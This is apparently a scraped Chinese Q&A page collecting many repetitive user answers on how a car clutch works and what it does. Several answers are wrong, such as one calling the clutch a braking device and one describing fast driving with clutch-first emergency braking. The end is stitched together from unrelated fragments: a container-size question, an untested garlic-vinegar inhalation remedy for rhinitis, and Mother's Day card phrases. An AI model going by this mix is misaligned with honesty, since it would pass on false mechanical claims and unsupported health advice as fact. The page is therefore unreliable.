离合器是什么,作用主要是什么

汽车离合器的工作原理如下：1、当车辆起步时，司机踩下离合器，离合器踏板的运动拉动压盘向后靠，也就是压盘与摩擦片分离，此时压盘与飞轮完全不接触，也就不存在相对摩擦；2、当车辆在正常行驶时，压盘是紧紧挤靠在飞轮的摩擦片上的，此时输入轴和输出轴之间保持相对静摩擦，二者转速相同；3、压盘与摩擦片的摩擦力小于全连动状态，离合器压盘与飞轮上的摩擦片之间是滑动摩擦状态，飞轮的转速大于输出轴的转速，从飞轮传输出来的动力部分传递给变速箱，这种状态下，发动机与驱动轮之间相当于一种软连接状态。

汽车离合器的工作原理是：发动机产生的扭矩通过飞轮和压板与从动盘接触面的摩擦作用传递到从动盘上。当驾驶员踩下离合器踏板时，膜片弹簧的大端移动压板而移动，从动部分和主动部分分离。汽车离合器位于发动机和变速器之间的飞轮壳内，用螺钉将离合器总成固定在飞轮的后平面上，离合器的输出轴是变速器的输入轴。在汽车行驶中，驾驶员可以根据需要踩下或松开离合器踏板，使发动机和变速器暂时分离并逐渐结合，切断或传递从发动机输入变速器的动力。汽车离合器的工作过程可以分为以下三个阶段：1、接合状态：弹簧将压板、飞轮及从动板相互按压，发动机转矩经由飞轮及压板经由摩擦面的摩擦转矩传递到从动板。2、分离过程：当踩下踏板时，从动板轮毂滑道嵌入的拨叉，使从动板克服推压弹簧的压力向右移动，与飞轮分离，不再有摩擦力，中断动力传递。3、接合过程：慢慢抬起离合器踏板，在按压弹簧的压力下向左移动从动盘，使其与飞轮恢复接触。两者接触面之间的压力逐渐增加，相应的摩擦扭矩逐渐增加，离合器完全打滑、部分打滑，直至完全接合。综上所述，汽车离合器的工作原理和过程十分重要，驾驶员需要了解和掌握它的使用方法，以确保汽车行驶的安全性和稳定性。

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1、通过这个离合片使发动机和传动系统进行摩擦传输动力，当踩下离合器时，离合片就会和发动机后面高速转动的飞轮分离开，使得离合片不受发动机的动力影响，离合片中间的齿是用来连接波箱传动系统用的。2、当慢慢松开离合器时，离合片就会慢慢贴近高速运转的飞轮，离合片贴近飞轮就会受到飞轮的转动影响自身就会转动，同时因为自身的转动其动力直接传送给汽车，半离合的状态下，离合片和飞轮之间是进行着摩擦的，这一点非常重要，摩擦中传输的动力不大，所以汽车就能慢慢的平稳起步。3、完全松开离合的状态下，离合片和发动机飞轮之间紧紧贴起来，不再进行摩擦，而是随着飞轮转动而转动。

离合器由飞轮、压盘、离合器片、分离轴承、分离叉、离合器踏板、离合器接线和传动管路组成。

离合器的作用：1、保证车辆平稳起步这是离合器的首要功能。在汽车起步前，自然要先起动发动机。而汽车起步时，汽车是从完全静止的状态逐步加速的。如果传动系（它联系着整个汽车）与发动机刚性地联系，则变速器一挂上档，汽车将突然向前冲一下，但并不能起步。这是因为汽车从静止到前冲时，具有很大的惯性，对发动机造成很大的阻力矩。在这惯性阻力矩的作用下，发动机在瞬时间转速急剧下降到最低稳定转速（一般300-500RPM）以下，发动机即熄火而不能工作，当然汽车也不能起步。因此，就需要离合器的帮助了。在发动机起动后，汽车起步之前，驾驶员先踩下离合器踏板，将离合器分离，使发动机和传动系脱开，再将变速器挂上档，然后逐渐松开离合器踏板，使离合器逐渐接合。在接合过程中，发动机所受阻力矩逐渐增大，故应同时逐渐踩下加速踏板，即逐步增加对发动机的燃料供给量，使发动机的转速始终保持在最低稳定转速上，而不致熄火。同时，由于离合器的接合紧密程度逐渐增大，发动机经传动系传给驱动车轮的转矩便逐渐增加，到牵引力足以克服起步阻力时，汽车即从静止开始运动并逐步加速。2、实现平顺的换挡在汽车行驶过程中，为适应不断变化的行驶条件，传动系经常要更换不同档位来进行工作。实现齿轮式变速器的换档，一般是拨动齿轮或其他挂档机构，使原用档位的某一齿轮副推出传动，再使另一档位的齿轮副进入工作。在换档前必须踩下离合器踏板，中断动力传动，便于使原档位的啮合副脱开，同时使新档位啮合副的啮合部位的速度逐步趋向同步，这样进入啮合时的冲击可以大大的减小，从而实现平顺的换档。3、防止传动系过载当汽车进行紧急制动时，若没有离合器，则发动机将因和传动系刚性连接而急剧降低转速，因而其中所有运动件将产生很大的惯性力矩（其数值可能大大超过发动机正常工作时所发出的最大扭矩），对传动系造成超过其承载能力的载荷，而使机件损坏。有了离合器，便可以依靠离合器主动部分和从动部分之间可能产生的相对运动来消除这一危险。因此，我们需要离合器来限制传动系所承受的最大扭矩，从而保证安全。

简单的讲车用摩擦式离合器主要由主动部分、从动部分、压紧机构及操纵机构四部分组成。

弹簧的作用是吸收外界的能量，并以势能的形式储存起来。 整个离合器系统中用到的弹簧非常多，而且大部分是螺旋弹簧，而螺旋弹簧的特性就是承受拉力或者是压力。离合器总泵内部活塞的回位弹簧式是承受压力，并反弹的；而外部踏板的回位弹簧根据设计的不同既可以设计成是承受压力形式的，也可以是承受拉力形式的。离合器分泵的回位弹簧基本上市承受拉力形式的。 车的离合器基本上是干式摩擦片离合器（不包括自动变速器），这种结构的离合器的压盘根据压紧弹簧的结构又分成螺旋周布弹簧式、膜片弹簧式和中央布置弹簧式。 第三种结构基本上被淘汰了。 螺旋周布弹簧式离合器中的螺旋弹簧在正常工作中压迫压盘的工作面，将从动盘紧紧的压迫在飞轮的工作面上；在分离的工程中，在压盘分离杠杆的作用下，压紧弹簧备更进一步的压缩，离合器分离。 膜片弹簧式离合器中，只是用膜片弹簧来代替了螺旋弹簧，其工作原理是相同的。 离合器的回位弹簧,有两种,一是踏板的回位;作用就是保正踏板的回位,二是,具有中压盘的双离合片的离合器;中压盘的回位,作用就是为了分离彻底.

汽车离合器位于发动机和变速箱之间的飞轮壳内，用螺钉将离合器总成固定在飞轮的后平面上，离合器的输出轴就是变速箱的输入轴。在汽车行驶过程中，驾驶员可根据需要踩下或松开离合器踏板，使发动机与变速箱暂时分离和逐渐接合，以切断或传递发动机向变速器输入的动力。离合器的主动部分和从动部分借接触面间的摩擦作用，或是用液体作为传动介质(液力偶合器)，或是用磁力传动(电磁离合器)来传递转矩，使两者之间可以暂时分离，又可逐渐接合，在传动过程中又允许两部分相互转动。 目前在汽车上广泛采用的是用弹簧压紧的摩擦离合器(简称为摩擦离合器)。 发动机发出的转矩，通过飞轮及压盘与从动盘接触面的摩擦作用，传给从动盘。当驾驶员踩下离合器踏板时，通过机件的传递，使膜片弹簧大端带动压盘后移，此时从动部分与主动部分分离。

从上面的图片中，大家能够发现汽车动力输出路线是这样的：发动机→离合器→变速器→驱动轴→后轮，因此，在这里大家需要了解的就是离合器和发动机的常态是结合。然后，我们再来看看咱们踩下的离合器踏板与离合器上面图片中发动机和变速器的关系！在这里大家只需要知道，离合器内只对发动机负责，对外只对变速器负责，和汽车上其它的部件都是没关系的哟！上图中的左侧转动的齿轮，大家可以理解为图1的发动机，右侧的带颜色部分就是离合器了，而原本应该在右侧转动轴上面的变速器没有表达出来。大家看到了图中的踏板了吗？这就是我们平常在开车时踩的离合器了。当我们踩下离合器的时候，离合器与左侧的发动机分离，这个时候中间的轴就不转了，动力中断，然后我们就能开始换挡了。在使用离合器的过程中，我们要轻轻的放，放太快离合器和发动机接触的太快，意味着你想让你的汽车在一瞬间跑起来，在这一瞬间要克服自身1.5吨左右的重量和地面的摩擦力，难度可想而知了，所以松太快的话，发动机会熄火就是因为这个原因。就比如咱们吃饭的时候，一般都是从嘴巴一口口的吃进去，如果你为了提高效率，直接从胸口挖个洞把饭装进去的话，那我们的胃肯定也受不了，会熄火的呢！

汽车离合器是将发动机动力传递到车辆底盘系统的重要部件，位于发动机和变速器之间，起到切断发动机动力和连接动力传递的作用。目前，广泛适用于手动档汽车的是液压摩擦板式离合器，通过摩擦传递发动机的扭矩力。离合器的构成：离合器主要有离合器盖(通过螺栓与飞轮连接)、压板、释放轴承、释放叉、飞轮、传动板、离合器片。汽车离合器是怎么工作的？汽车离合器的工作过程主要有分离、半联动、接合几个阶段。离合器的动力传递路径为：从飞轮获取动力压板离合器片(从动片)变速器输入轴。车辆静止时，离合器始终处于连接状态，离合器踏板处于最高自然位置。踩下离合器踏板时，利用杠杆原理压缩离合器主泵，对液压油施加压力进行放大，在移动分离泵推动离合器拨叉的同时，对分离轴承施加力，压缩离合器片的膜片弹簧。此时，可以进行变速器的换档。将离合器踏板抬起到半离合器联动点时，离合器片和压板的按压力变弱。由于离合器片和压盘的压力小，摩擦力也相对小，离合器片和压盘之间会产生一些摩擦打滑现象，离合器处于半联动状态。此时的动力传递不会完全传递。值得注意的是，半联动此时主要用于车辆起步(或坡道起步)、停车、换挡的平稳过渡阶段。当离合器踏板完全松开，踏板处于最高位置时，管路液压完全释放，膜片弹簧恢复正常，不再产生杠杆作用，离合器片与压板完全贴紧压紧，增大了它们之间的摩擦力，摩擦扒手此时主要用于汽车的通常行驶，或通常停车后。在汽车离合器系统中，离合器的各种间隙和行程也非常重要。例如：各种自由间隙、踏板高度及行程等。以前，我回答过离合器的问题、行程、间隙的作用和调整，所以在此不进行说明。欢迎使用：“汽车维修技术网()”。每天和大家用不同的视觉解析汽车的答疑和技能。谢谢你。

汽车离合器原理离合器安装在发动机与变速器之间，用来分离或接合前后两者之间动力联系。其功用为：　　(1)使汽车平稳起步。　　(2)中断给传动系的动力，配合换档。　　(3)防止传动系过载。　　离合器的工作原理　　离合器的主动部分和从动部分借接触面间的摩擦作用，或是用液体作为传动介质(液力偶合器)，或是用磁力传动(电磁离合器)来传递转矩，使两者之间可以暂时分离，又可逐渐接合，在传动过程中又允许两部分相互转动。　　目前在汽车上广泛采用的是用弹簧压紧的摩擦离合器(简称为摩擦离合器)。　　发动机发出的转矩，通过飞轮及压盘与从动盘接触面的摩擦作用，传给从动盘。当驾驶员踩下离合器踏板时，通过机件的传递，使膜片弹簧大端带动压盘后移，此时从动部分与主动部分分离。　　摩擦离合器应能满足以下基本要求：　　(1)保证能传递发动机发出的最大转矩，并且还有一定的传递转矩余力。　　(2)能作到分离时，彻底分离，接合时柔和，并具有良好的散热能力。　　(3)从动部分的转动惯量尽量小一些。这样，在分离离合器换档时，与变速器输入轴相连　　部分的转速就比较容易变化，从而减轻齿轮间冲击。　　(4)具有缓和转动方向冲击，衰减该方向振动的能力，且噪音小。　　(5)压盘压力和摩擦片的摩擦系数变化小，工作稳定。　　(6)操纵省力，维修保养方便。　离合器的种类　　汽车离合器有摩擦式离合器、液力偶合器、电磁离合器等几种。摩擦式离合器又分为湿式和干式两种。　　液力偶合器靠工作液(油液)传递转矩，外壳与泵轮连为一体，是主动件；涡轮与泵轮相对，是从动件。当泵轮转速较低时，涡轮不能被带动，主动件与从动件之间处于分离状态；随着泵轮转速的提高，涡轮被带动，主动件与从动件之间处于接合状态。　　电磁离合器靠线圈的通断电来控制离合器的接合与分离。如在主动与从动件之间放置磁粉，则可以加强两者之间的接合力，这样的离合器称为磁粉式电磁离合器。　　目前，与手动变速器相配合的绝大多数离合器为干式摩擦式离合器，按其从动盘的数目，又分为单盘式、双盘式和多盘式等几种。湿式摩擦式离合器一般为多盘式的，浸在油中以便于散热。

我拿到了驾照，但在路上还是新手。这个时候，我需要独特的技能来提高我的水平。作为动与静的起点，汽车离合器是你不可或缺的认识场所。今天我们来看看自动变速器起步离合器的工作原理。离合器结构组成(1)主动部分:飞轮、压盘、离合器盖等。(2)从动部分:从动盘和从动轴(即变速箱的第一根轴)；(3)按压部分:按压弹簧；(4)操作机构:释放杆、释放杆支撑柱、摆销、释放套、释放轴承、离合器踏板等。离合器的工作状态离合器有三种工作状态，即全联动不压下离合器，半联动部分压下离合器，非联动压下离合器。汽车正常行驶时，压盘紧紧地压在飞轮的摩擦片上。此时压盘与摩擦片之间的摩擦力最大，输入轴与输出轴之间的静摩擦力同比保持，两轴转速相近。当自动启动发生时，驾驶员踩下离合器，离合器踏板的运动将压盘拉回，即压盘与摩擦片分离。此时压盘与飞轮完全脱离接触，无同比摩擦。最后一个是离合器的半联动状态。此时，压板与摩擦片之间的摩擦力小于全联动状态下的摩擦力。离合器压盘和飞轮上的摩擦片之间有滑动摩擦。飞轮的转速大于输出轴的转速，飞轮传递的部分动力传递给变速箱。此时，发动机和驱动轮处于软连接状态。关于离合器最常遇到的问题离合器片上的摩擦材料与盘式刹车片或鼓式刹车蹄上的摩擦材料非常相似，一段时间后就会磨损。变薄后，离合器会开始打滑，最终没有动力可以从发动机传递到车轮。离合器磨损仅发生在离合器盘和飞轮以不同速度旋转时。当它们锁定在一起时，摩擦材料将紧紧地抵抗飞轮并同步旋转。只有当离合器片在飞轮上滑动时，才会发生磨损。好了，今天汽车小编的朋友们介绍的自动启动离合器的工作原理有这么多。不知道小伙伴们听完汽车小编的简单介绍，对自动启动离合器的工作原理有没有更好的了解。希望边肖汽车的简介能对朋友们有所帮助。如果你想了解更多的知识，那就关注这个网站。汽车边肖在这里等你。百万购车补贴

请参照百度百科解释。http://baike.baidu.com/view/5294618.htm?wtp=tt

汽车离合的意思如下： 1、汽车发动机与变速箱之间的分离装置就是离合，也叫离合器； 2、自动挡汽车的离合器结合到变速箱中了，实现自动变速； 3、离合器踏板的作用是在手动挡车型用来操纵车辆离合器的，自动挡车型无离合踏板； 4、在学车中或在正常驾驶中，是汽车驾驶“五大操纵件”之一，使用频次非常高，为方便起见，人们直接称为“离合”。 离合器作用如下： 1、保证汽车平稳起步：起步前汽车处于静止状态，如果发动机与变速箱是刚性连接的，一旦挂上挡，汽车将由于突然接上动力突然前冲，不但会造成机件的损伤，而且驱动力也不足以克服汽车前冲产生的巨大惯性力，使发动机转速急剧下降而熄火； 2、便于换挡：汽车行驶过程中，经常换用不同的变速箱挡位，以适应不断变化的行驶条件。如果没有离合器将发动机与变速箱暂时分离，那么变速箱中啮合的传力齿轮会因载荷没有卸除，其啮合齿面间的压力很大而难于分开； 3、防止传动系过载：汽车紧急制动时，车轮突然急剧降速，而与发动机相连的传动系由于旋转的惯性，仍保持原有转速，这往往会在传动系统中产生远大于发动机转矩的惯性矩，使传动系的零件容易损坏； 4、降低扭振冲击：汽车发动机的工作原理决定了其输出扭矩的不平稳。在做功冲程，燃烧室气体爆炸产生极大冲击扭矩，而在其他冲程，却是靠惯性反拖发动机。 @2019

离合器是负责结合与切断发动机与车轮间的动力连接的一个设备。 驻车器说白了其实就是刹车，怎么用得看具体是什么车型。

离合器位于发动机和变速箱之间的飞轮壳内，用螺钉将离合器总成固定在飞轮的后平面上，离合器的输出轴就是变速箱的输入轴。在汽车行驶过程中，驾驶员可根据需要踩下或松开离合器踏板，使发动机与变速箱暂时分离和逐渐接合，以切断或传递发动机向变速器输入的动力。保证汽车平稳起步，实现平顺的换档，防止传动系过载。离合器的主动部分和从动部分借接触面间的摩擦作用，或是用液体作为传动介质(液力偶合器)，或是用磁力传动(电磁离合器)来传递转矩，使两者之间可以暂时分离，又可逐渐接合，在传动过程中又允许两部分相互转动。扩展资料：汽车从起步到正常行驶的整个过程中，驾驶员可根据需要操纵离合器，使发动机和传动系暂时分离或逐渐接合，以切断或传递发动机向传动系输出的动力。它的作用是使发动机与变速器之间能逐渐接合，从而保证汽车平稳起步；暂时切断发动机与变速器之间的联系，以便于换档和减少换档时的冲击；当汽车紧急制动时能起分离作用，防止变速器等传动系统过载，从而起到一定的保护作用。参考资料来源：百度百科-离合器

压紧，分离，，，，

便于换挡，平稳起步，过载保护，接合或分离动力传递。

汽车离合器的工作原理是什么机械摩擦式离合器的工作原理是什么离合器的工作原理是：1、车辆起步时，司机踩下离合器，压盘与摩擦片分离，此时压盘与飞轮完全不接触；2、车辆在正常行驶时，压盘是紧紧挤靠在飞轮的摩擦片上的，此时压盘与摩擦片之间的摩擦力较大，输入轴和输出轴之间保持相对静摩擦，二者转速相同；3、踩下部分离合器时，压盘与摩擦片的摩擦力小，离合器压盘与飞轮上的摩擦片之间是滑动摩擦状态，飞轮的转速大于输出轴的转速，从飞轮传输出来的动力部分传递给变速箱。百万购车补贴

汽车上离合的作用1、利于汽车起步汽车在启动前是静止的，因为发动机与变速箱是刚性连接的，一旦挂上档，汽车将由于突然接上动力突然前冲，不但会造成机件的损伤，而且驱动力也不足以克服汽车前冲产生的巨大惯性力，使发动机转速急剧下降而熄火。如果在起步时利用离合器暂时将发动机和变速箱分离，然后离合器逐渐接合，由于离合器的主动部分与从动部分之间存在着滑磨的现象，可以使离合器传出的扭矩由零逐渐增大，而汽车的驱动力也逐渐增大，从而让汽车平稳地起步。2、方便汽车换挡在汽车的驾驶过程中，常常会涉及到变档，来适应不同的行驶环境需求，而换挡的时候，就会使用到离合器了。离合器可以将发动机与变速箱暂时分离，利用离合器使发动机和变速箱暂时分离后进行换档，则原来啮合的一对齿轮因载荷卸除，啮合面间的压力大大减小，就容易分开，如果没有离合器，啮合齿面间的压力很大而难于分开，且容易容易损坏机件。3、防止传动系统压力过大而损坏汽车紧急制动时，车轮突然急剧降速，而与发动机相连的传动系由于旋转的惯性，仍保持原有转速，这往往会在传动系统中产生远大于发动机转矩的惯性矩，使传动系的零件容易损坏。4、降低扭振冲击汽车发动机的输出扭矩通常是不平稳的，发动机在运行冲程，发动机本身转动系具有的惯性可降低扭振，但剩余的冲击力仍然对后续的变速箱、传动轴产生不利影响，而离合器中的减振弹簧，可显著降低发动机带来的扭振冲击，延长变速齿轮寿命。aqui te amo。

摩托车是油浸的，湿式多片，汽车是干式，原理一样，弹簧顶着时主动毂与从动毂一起转，拉或踩离合主动股转从动股不转

汽车双离合的原理：1、离合器1负责1挡、3挡、5挡和倒挡，离合器2负责2挡、4挡和6挡；挂上奇数挡时，离合器1结合，输入轴1工作，离合器2分离，输入轴2不工作；2、即在DSG变速器的工作过程中总是有2个挡位是结合的，一个正在工作，另一个则为下一步做好准备；3、手动模式下可以进行跳跃降挡：如果起始挡位和最终挡位属于同一个离合器控制的，则会通过另一离合器控制的挡位转换一下；4、如果起始挡位和最终挡位不属于同一个离合器控制的，则可以直接跳跃降至所定挡位。

1、保证汽车平稳起步起步前汽车处于静止状态，如果发动机与变速箱是刚性连接的，一旦挂上档，汽车将由于突然接上动力突然前冲，不但会造成机件的损伤，而且驱动力也不足以克服汽车前冲产生的巨大惯性，使发动机转速急剧下降而熄火。2、便于换档汽车行驶过程中，经常换用不同的变速箱档位，以适应不断变化的行驶条件。如果没有离合器将发动机与变速箱暂时分离，那么变速箱中啮合的传力齿轮会因载荷没有卸除，其啮合齿面间的压力很大而难于分开。3、防止传动系统过载汽车紧急制动时，车轮突然急剧降速，而与发动机相连的传动系由于旋转的惯性，仍保持原有转速，这往往会在传动系统中产生远大于发动机转矩的惯性矩，使传动系的零件容易损坏。由于离合器是靠摩擦力来传递转矩的，所以当传动系内载荷超过摩擦力所能传递的转矩时，离合器的主、从动部分就会自动打滑，因而起到了防止传动系过载的作用。4、降低扭振冲击汽车发动机的工作原理决定了其输出扭矩的不平稳。在做功冲程，燃烧室气体爆炸产生极大冲击扭矩，而在其他冲程，却是靠惯性反拖发动机。

1、保证汽车平稳起步起步前汽车处于静止状态，如果发动机与变速箱是刚性连接的，一旦挂上档，汽车将由于突然接上动力突然前冲，不但会造成机件的损伤，而且驱动力也不足以克服汽车前冲产生的巨大惯性，使发动机转速急剧下降而熄火。2、便于换档汽车行驶过程中，经常换用不同的变速箱档位，以适应不断变化的行驶条件。如果没有离合器将发动机与变速箱暂时分离，那么变速箱中啮合的传力齿轮会因载荷没有卸除，其啮合齿面间的压力很大而难于分开。3、防止传动系统过载汽车紧急制动时，车轮突然急剧降速，而与发动机相连的传动系由于旋转的惯性，仍保持原有转速，这往往会在传动系统中产生远大于发动机转矩的惯性矩，使传动系的零件容易损坏。由于离合器是靠摩擦力来传递转矩的，所以当传动系内载荷超过摩擦力所能传递的转矩时，离合器的主、从动部分就会自动打滑，因而起到了防止传动系过载的作用。4、降低扭振冲击汽车发动机的工作原理决定了其输出扭矩的不平稳。在做功冲程，燃烧室气体爆炸产生极大冲击扭矩，而在其他冲程，却是靠惯性反拖发动机。扩展资料：分类1、液力耦合器靠工作液（油液）传递转矩，外壳与泵轮连为一体，是主动件；涡轮与泵轮相对，是从动件。当泵轮转速较低时，涡轮不能被带动，主动件与从动件之间处于分离状态；随着泵轮转速的提高，涡轮被带动，主动件与从动件之间处于接合状态。2、电磁离合器靠线圈的通断电来控制离合器的接合与分离。如在主动与从动件之间放置磁粉，则可以加强两者之间的接合力，这样的离合器称为磁粉式电磁离合器。3、自动离合器随着电子技术在汽车上应用，一种自动离合器系统也进入了汽车领域。这种由控制单元（ECU）控制的离合器已经应用在一些轿车上，使手动变速器换档的一个重要步骤—离合器的断开与接合能够自动地适时完成，简化了驾驶员的操纵动作。参考资料来源：百度百科-汽车离合器

有两种，一种液压式，还有一种拉线时。

我知道发动的时候要用，在紧急刹车的时候先踩离合器的，本人经常开快车，所以经常用！呵呵

汽车离合器助力器工作原理：1、离合器分泵助力器原理：汽车离合器的气压助力器设在液压操纵机构中与气压制动系及其他气动设备共用一套压缩空气源。其主要由气压控制阀、液压缸、动力活塞、壳体等四大部分组成；2、离合总泵分泵相当于两个液压缸。总泵上有进出油管分泵只有一根管。踩下离合器总泵的压力传输到分泵分泵工作分离拨叉将离合器压盘及片脱离飞轮这时就可以开始换挡。松开离合器分泵停止工作离合器压盘及片和飞轮接触动力传输继续分泵的油回流进油壶；3、为了使驾驶员能够随时感知并控制离合器分离或接合的程度气压助力器的输出力与离合器踏板行程成一定的递增函数关系。此外当气压助力系统失效时也能保证借助人力操纵离合器。

你好，汽车离合器是用来传递发动机力给车轮的一个部件。

离合器的作用是保证发动机的动力能平稳可靠地传给传动装置或迅速，彻底地与传动装置分离。以便与汽车起步，换挡或停车。离合器的工作原理，分为接合及切断二种情况。 1接合 当未踩下离合器踏板时，由于压紧弹簧的作用，使压盘，离合器片与飞轮端面紧紧的靠在一起，使发动机的动力经飞轮传至离合器片，通过离合器片上的花键套传给变速箱输入轴。 2分离 踩下离合器踏板后，使踏板拉杆后移而推动分离叉，使分离轴承前移，分离轴承前移又推动分离杠杆内端前移，外端后移拉动压盘后移并压缩压紧弹簧，使离合器片与飞轮端面不再靠贴（也就是离合器片与飞轮端面分离）。从而切断了发动机与变速箱间的动力传递。

作用是保证汽车平稳行驶、便于换档、防止传动系过载降低扭振冲击。原理是发动机发出转矩，通过摩擦作用传给从动盘，使从动与主动部分分离。离合器是汽车传动系统的重要部件，它直接承接发动机输出的动力，然后传给变速箱降速增扭后，再传递到车轮。具有平顺接合保证汽车平稳起步、临时切断动力保证换档时工作平顺以及防止传动系统过载等作用。我们通常所说的离合器就是指手动档车型，事实上自动变速箱内部也有离合器，不过它的结构和工作原理与此有较大的区别。 汽车离合器主要由主动部分、从动部分、压紧部分以及操纵机构四部分组成，我们通常说的离合器片属于从动部分。它的工作原理也很简单，就是依靠摩擦原理传递发动机动力。当从动盘与飞轮之间有间隙时，飞轮不能带动从动盘旋转，离合器处于分离状态；当压紧力将从动盘压向飞轮后，飞轮表面对从动盘表面的摩擦力带动从动盘旋转，离合器处于接合状态。现在的汽车上普遍使用的是膜片式离合器。 离合器的工作过程可以分为分离过程和接合过程。在分离过程中，踩下离合器踏板，在自由行程内首先消除离合器的自由间隙，然后在工作行程内产生分离间隙，离合器分离。在接合过程中，逐渐松开离合器踏板，压盘在压紧弹簧的作用下向前移动，首先消除分离间隙，并在压盘、从动盘和飞轮工作表面上作用足够的压紧力；之后分离轴承在复位弹簧的作用下向后移动，产生自由间隙，离合器接合。 （图/文/摄： 陈芳1） @2019

汽车离合器助力器工作原理：1、离合器分泵助力器原理：汽车离合器的气压助力器设在液压操纵机构中与气压制动系及其他气动设备共用一套压缩空气源。其主要由气压控制阀、液压缸、动力活塞、壳体等四大部分组成；2、离合总泵分泵相当于两个液压缸。总泵上有进出油管分泵只有一根管。踩下离合器总泵的压力传输到分泵分泵工作分离拨叉将离合器压盘及片脱离飞轮这时就可以开始换挡。松开离合器分泵停止工作离合器压盘及片和飞轮接触动力传输继续分泵的油回流进油壶；3、为了使驾驶员能够随时感知并控制离合器分离或接合的程度气压助力器的输出力与离合器踏板行程成一定的递增函数关系。此外当气压助力系统失效时也能保证借助人力操纵离合器。

保证汽车正常起步的作用。

离合器，顾名思意，就是起到分离与合闭的作用，也就是起到发动机与车轮传动装置的离合作用。也就是说当你踩下离合器，那么发动机的传动装置与车轮断开，发动机的动力就不会传到车轮上以驱动汽车了。汽车上离合的作用：1、利于汽车起步汽车在启动前是静止的，因为发动机与变速箱是刚性连接的，一旦挂上档，汽车将由于突然接上动力突然前冲，不但会造成机件的损伤，而且驱动力也不足以克服汽车前冲产生的巨大惯性力，使发动机转速急剧下降而熄火。如果在起步时利用离合器暂时将发动机和变速箱分离，然后离合器逐渐接合，由于离合器的主动部分与从动部分之间存在着滑磨的现象，可以使离合器传出的扭矩由零逐渐增大，而汽车的驱动力也逐渐增大，从而让汽车平稳地起步。2、方便汽车换挡在汽车的驾驶过程中，常常会涉及到变档，来适应不同的行驶环境需求，而换挡的时候，就会使用到离合器了。离合器可以将发动机与变速箱暂时分离，利用离合器使发动机和变速箱暂时分离后进行换档，则原来啮合的一对齿轮因载荷卸除，啮合面间的压力大大减小，就容易分开，如果没有离合器，啮合齿面间的压力很大而难于分开，且容易容易损坏机件。3、防止传动系统压力过大而损坏汽车紧急制动时，车轮突然急剧降速，而与发动机相连的传动系由于旋转的惯性，仍保持原有转速，这往往会在传动系统中产生远大于发动机转矩的惯性矩，使传动系的零件容易损坏。4、降低扭振冲击汽车发动机的输出扭矩通常是不平稳的，发动机在运行冲程，发动机本身转动系具有的惯性可降低扭振，但剩余的冲击力仍然对后续的变速箱、传动轴产生不利影响，而离合器中的减振弹簧，可显著降低发动机带来的扭振冲击，延长变速齿轮寿命。

给汽车煞闸的

离合器的工作原理：离合器位于发动机和变速箱之间的飞轮壳内。离合器总成用螺钉固定在飞轮的后平面上，离合器的输出轴是变速箱的输入轴。汽车行驶时，驾驶员可以根据需要踩下或松开离合器踏板，使发动机和变速箱暂时分离，逐渐接合，从而切断或转移发动机输入变速箱的动力。离合器的作用：1.保证汽车平稳起步：发动机和变速器可以逐渐结合，保证汽车平稳起步；2.换挡方便：暂时切断发动机与变速器的连接，以便换挡，减少换挡时的冲击；3.防止传动系统过载：当汽车紧急制动时，可以起到分离作用，防止变速器等传动系统过载，从而起到一定的保护作用。百万购车补贴

离合器位于发动机和变速箱之间的飞轮壳内，用螺钉将离合器总成固定在飞轮的后平面上，离合器的输出轴就是变速箱的输入轴。离合器分为电磁离合器、磁粉离合器、摩擦式离合器和液力离合器四种。

离合器就是连接发动机与变速箱的一种机构，起到传输动力与切断动力的作用，当离合器分离的时候动力切断这样才能挂上档，离合器结合后动力输出就可以工作了

1、保证汽车平稳起步起步前汽车处于静止状态，如果发动机与变速箱是刚性连接的，一旦挂上档，汽车将由于突然接上动力突然前冲，不但会造成机件的损伤，而且驱动力也不足以克服汽车前冲产生的巨大惯性，使发动机转速急剧下降而熄火。2、便于换档汽车行驶过程中，经常换用不同的变速箱档位，以适应不断变化的行驶条件。如果没有离合器将发动机与变速箱暂时分离，那么变速箱中啮合的传力齿轮会因载荷没有卸除，其啮合齿面间的压力很大而难于分开。3、防止传动系统过载汽车紧急制动时，车轮突然急剧降速，而与发动机相连的传动系由于旋转的惯性，仍保持原有转速，这往往会在传动系统中产生远大于发动机转矩的惯性矩，使传动系的零件容易损坏。由于离合器是靠摩擦力来传递转矩的，所以当传动系内载荷超过摩擦力所能传递的转矩时，离合器的主、从动部分就会自动打滑，因而起到了防止传动系过载的作用。4、降低扭振冲击汽车发动机的工作原理决定了其输出扭矩的不平稳。在做功冲程，燃烧室气体爆炸产生极大冲击扭矩，而在其他冲程，却是靠惯性反拖发动机。

OOCL的标准箱尺度

你那是鼻炎（咽炎只是嗓子疼）， 给你个偏方试一试： 把大蒜，装入坛子，再倒入米醋，然后密封。一个月后，启封蒜醋坛，用小瓶装入一些蒜醋液，看电视时对着鼻孔薰半个小时，7天换一次蒜醋液，有人用过，结果鼻炎半年都未复发。

　1、Thank you for everything over the years, mom.　　妈妈，谢谢您这些年来所做的一切。　　2、There may be moms all over the world, but you"re the only one that matters to me.　　全世界也许到处都有妈妈，但您是我惟一最在意的。　　3、Though it is hard to tell you sometimes, I do love you dearly, mom.　　虽然有时要告诉您并不太容易，但是我真的非常爱您，妈妈。　　4、Here"s a little token of my appreciation for all that you have done for me over the years.　　这是我一点小小的心意，感谢您这么多年来所付出的一切。　　5、This card is to let you know that you have done a super job raising us children.　　这张卡片是想告诉您，在教养子女方面，您做得棒极了。　　6、This card comes from the whole family. Happy Mother"s Day.　　这张卡片是我们全家合送的。祝您母亲节快乐。　　7、Roses are red, violets are blue. This card on Mother"s Day is especially for you.　　玫瑰是红色的，紫罗兰是蓝色的。这张母亲卡是特别给您的。　　8、There are little things that I should have said and done to show my gratitude, but it is appreciated what you do.　　尽管我为表示谢意所说的和所做的都那么少，但同样也是表达对您所做一切的感激之情。　　9、We will try to make this your best Mother"s Day ever.　　我们将努力使今天成为您过得最愉快的母亲节。　　10、Today is your day to relax and let us take care of you. Happy Mother"s Day.　　今天是您休息的日子，让我们来照顾您。母亲节快乐。

